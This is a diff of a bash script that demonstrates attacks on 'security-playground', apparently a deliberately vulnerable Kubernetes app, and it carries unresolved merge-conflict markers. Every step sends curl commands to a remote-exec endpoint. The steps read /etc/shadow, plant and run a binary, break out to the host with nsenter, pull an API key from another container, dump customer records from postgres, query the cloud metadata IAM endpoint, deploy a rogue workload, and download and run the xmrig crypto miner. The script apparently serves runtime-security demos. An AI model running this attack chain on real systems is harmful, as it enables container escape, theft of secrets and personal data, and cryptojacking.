|
1 | | -#!/bin/bash |
| 1 | +#!/usr/bin/env bash |
2 | 2 | # Script to demonstrate how to interact with security-playground |
3 | 3 |
|
4 | 4 | NODE_IP=$(kubectl get nodes -o wide | awk 'FNR == 2 {print $6}') |
5 | 5 | NODE_PORT=30002 |
| 6 | +HELLO_NAMESPACE=hello |
6 | 7 |
|
| 8 | +<<<<<<< HEAD |
| 9 | +# Try to reach hello-server for our NetworkPolicy example later |
| 10 | +curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=curl http://hello-server.$HELLO_NAMESPACE.svc:8080" > /dev/null |
| 11 | + |
| 12 | +echo "1. Read a sensitive file (/etc/shadow)" |
| 13 | +echo "--------------------------------------------------------------------------------" |
| 14 | +======= |
7 | 15 | echo "1. Read a sensitive file (/etc/shadow)" |
| 16 | +>>>>>>> 34cecd4dc9f8ce5f5e1283f43884e70cd43effb7 |
8 | 17 | curl $NODE_IP:$NODE_PORT/etc/shadow |
| 18 | +echo "--------------------------------------------------------------------------------" |
| 19 | +sleep 10 |
| 20 | + |
9 | 21 |
|
10 | 22 | echo "2. Exploit writing to /bin" |
| 23 | +echo "--------------------------------------------------------------------------------" |
11 | 24 | curl -X POST $NODE_IP:$NODE_PORT/bin/hello -d 'content=echo "hello-world"' |
12 | 25 | echo "" |
13 | 26 | echo "and then set it to be executable" |
14 | 27 | curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=chmod 0755 /bin/hello' |
15 | 28 | echo "and then run it" |
16 | 29 | curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=hello' |
| 30 | +echo "--------------------------------------------------------------------------------" |
| 31 | +sleep 10 |
17 | 32 |
|
18 | 33 | echo "3. Install nmap from apt and then run a scan" |
| 34 | +<<<<<<< HEAD |
| 35 | +echo "--------------------------------------------------------------------------------" |
| 36 | +======= |
| 37 | +>>>>>>> 34cecd4dc9f8ce5f5e1283f43884e70cd43effb7 |
19 | 38 | curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=apt-get update; apt-get -y install nmap;nmap -v scanme.nmap.org' |
| 39 | +echo "--------------------------------------------------------------------------------" |
| 40 | +sleep 10 |
20 | 41 |
|
21 | 42 | echo "4. Break out of our Linux namespace to the host's with nsenter and install crictl in /usr/bin" |
| 43 | +<<<<<<< HEAD |
| 44 | +echo "--------------------------------------------------------------------------------" |
| 45 | +ARCH=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=dpkg --print-architecture') |
| 46 | +curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 wget -q https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.27.1/crictl-v1.27.1-linux-$ARCH.tar.gz" |
| 47 | +curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 tar -zxvf crictl-v1.27.1-linux-$ARCH.tar.gz -C /usr/bin" |
| 48 | +echo "--------------------------------------------------------------------------------" |
| 49 | +sleep 10 |
| 50 | + |
| 51 | +echo "5. Break out of our Linux namespace to the host's with nsenter and talk directly to the container runtime" |
| 52 | +echo "--------------------------------------------------------------------------------" |
| 53 | +======= |
22 | 54 | ARCH=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=dpkg --print-architecture') |
23 | 55 | curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 wget -q https://github.com/kubernetes-sigs/cri-tools/releases/download/v1.26.1/crictl-v1.26.1-linux-$ARCH.tar.gz" |
24 | 56 | curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 tar -zxvf crictl-v1.26.1-linux-$ARCH.tar.gz -C /usr/bin" |
25 | 57 |
|
26 | 58 | echo "5. Break out of our Linux namespace to the host's with nsenter and talk directly to the container runtime" |
| 59 | +>>>>>>> 34cecd4dc9f8ce5f5e1283f43884e70cd43effb7 |
27 | 60 | curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps' |
| 61 | +echo "--------------------------------------------------------------------------------" |
| 62 | +sleep 10 |
28 | 63 |
|
| 64 | +<<<<<<< HEAD |
| 65 | +echo "6. Steal a secret from another container on the same Node (hello-client in the $HELLO_NAMESPACE Namespace)" |
| 66 | +echo "--------------------------------------------------------------------------------" |
| 67 | +HELLO_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name hello-client -q') |
| 68 | +HELLO_ID_1=`echo "${HELLO_ID}" | head -1` |
| 69 | +curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $HELLO_ID_1 /bin/sh -c set" | grep API_KEY |
| 70 | +echo "--------------------------------------------------------------------------------" |
| 71 | +sleep 10 |
| 72 | + |
| 73 | +echo "7. Exfil some data from another container running on the same Node" |
| 74 | +echo "--------------------------------------------------------------------------------" |
| 75 | +======= |
29 | 76 | echo "6. Steal a secret from another container on the same Node (hello-client-allowed in the team1 Namespace)" |
30 | 77 | HELLO_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name hello-client-allowed -q') |
31 | 78 | curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $HELLO_ID /bin/sh -c set" | grep API_KEY |
32 | 79 |
|
33 | 80 | echo "7. Exfil some data from another container running on the same Node" |
| 81 | +>>>>>>> 34cecd4dc9f8ce5f5e1283f43884e70cd43effb7 |
34 | 82 | POSTGRES_ID=$(curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=nsenter --all --target=1 crictl ps --name postgres-sakila -q') |
35 | 83 | curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=nsenter --all --target=1 crictl exec $POSTGRES_ID psql -U postgres -c 'SELECT c.first_name, c.last_name, c.email, a.address, a.postal_code FROM customer c JOIN address a ON (c.address_id = a.address_id)'" |
| 84 | +echo "--------------------------------------------------------------------------------" |
| 85 | +sleep 10 |
| 86 | + |
| 87 | +<<<<<<< HEAD |
| 88 | +echo "8. Call the Kubernetes API via security-playground's K8s ServiceAccount" |
| 89 | +echo "--------------------------------------------------------------------------------" |
| 90 | +curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=curl -O https://s3.us-west-2.amazonaws.com/amazon-eks/1.27.1/2023-04-19/bin/linux/$ARCH/kubectl" |
| 91 | +curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=chmod 0755 ./kubectl' |
| 92 | +curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=./kubectl create deployment nefarious-workload --image=public.ecr.aws/m9h2b5e7/security-playground:270723' |
| 93 | +curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=./kubectl get pods' |
| 94 | +echo "--------------------------------------------------------------------------------" |
| 95 | +sleep 10 |
36 | 96 |
|
| 97 | +echo "9. Call the Node's Instance Metadata Endpoint from the security-playground container" |
| 98 | +echo "--------------------------------------------------------------------------------" |
| 99 | +curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=curl curl http://169.254.169.254/latest/meta-data/iam/info' |
| 100 | +echo "--------------------------------------------------------------------------------" |
| 101 | +sleep 10 |
| 102 | + |
| 103 | +echo "10. Download and run a common crypto miner (xmrig)" |
| 104 | +echo "--------------------------------------------------------------------------------" |
| 105 | +======= |
37 | 106 | echo "8. Download and run a common crypto miner (xmrig)" |
| 107 | +>>>>>>> 34cecd4dc9f8ce5f5e1283f43884e70cd43effb7 |
38 | 108 | if [[ "$ARCH" == "amd64" ]]; then |
39 | 109 | curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=wget https://github.com/xmrig/xmrig/releases/download/v6.20.0/xmrig-6.20.0-linux-static-x64.tar.gz -O xmrig.tar.gz" |
40 | 110 | else |
41 | 111 | curl -X POST $NODE_IP:$NODE_PORT/exec -d "command=wget https://z9k65lokhn70.s3.amazonaws.com/xmrig-6.20.0-linux-static-arm64.tar.gz -O xmrig.tar.gz" |
42 | 112 | fi |
43 | 113 | curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=tar -xzvf xmrig.tar.gz' |
| 114 | +<<<<<<< HEAD |
| 115 | +curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=xmrig-6.20.0/xmrig' |
| 116 | +======= |
44 | 117 | curl -X POST $NODE_IP:$NODE_PORT/exec -d 'command=xmrig-6.20.0/xmrig' |
| 118 | +>>>>>>> 34cecd4dc9f8ce5f5e1283f43884e70cd43effb7 |
0 commit comments